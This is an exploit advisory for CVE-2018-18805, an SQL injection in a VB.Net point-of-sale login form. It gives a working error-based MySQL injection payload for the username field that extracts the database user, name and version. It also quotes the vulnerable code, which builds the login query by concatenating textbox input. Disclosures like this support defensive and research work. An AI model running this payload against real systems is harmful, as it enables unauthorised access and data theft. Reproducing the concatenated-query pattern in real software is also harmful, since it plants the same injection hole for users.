# Exploit Title: Point of Sales (POS) in VB.Net MySQL Database 1.0 - SQL Injection # Dork: N/A # Date: 2018-10-29 # Exploit Author: Ihsan Sencan # Vendor Homepage: https://www.sourcecodester.com/users/janobe # Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/poinofsales_0.zip # Version: 1.0 # Category: Windows # Tested on: WiN7_x64/KaLiLinuX_x64 # CVE: CVE-2018-18805 # POC: # 1) # User: '||(SEleCT 'Efe' FRoM DuaL WheRE 113=113 AnD (SEleCT 64 FRom(SELeCT CoUNT(*),ConCAT(ConCAT(0x203a20,UsER(),DAtABAsE(),VErSIoN()),(SelEcT (ELT(64=64,1))),FLooR(RAnD(0)*2))x FrOM INFOrMATIoN_SchEMA.pLUGINS GroUP By x)a))||' # Pass: Null # # https://2.bp.blogspot.com/-qlfhS-GUaCQ/W9Yt3aHdLHI/AAAAAAAAENg/Hmxj2lZ62cYITPlTNaNrwwAgh379Cbi8ACLcBGAs/s1600/sql3.png # #[PATH]/LoginForm1.vb #.... #11 Private Sub OK_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles OK.Click #12 sql = "SELECT * FROM `tblemployee` WHERE `USERNAME` ='" & UsernameTextBox.Text & "' and `PASSWRD` = sha1('" & PasswordTextBox.Text & "')" #13 janobefindthis(sql) #14 #15 If GetNumRows() = 1 Then #16 LoadSingleResult("login") #17 ' MsgBox(fullname) #18 Form1.statsloginname.Text = fullname #19 Form1.tsLogin.Text = "Logout" #20 #21 If usertype = "Administrator" Then #22 Visible_Admin(True) #23 Else #24 Visible_Cashier(True) #25 End If #26 Else #27 MsgBox("Username or Password not registered!") #28 End If #29 #30 #31 Me.Close() #32 End Sub #....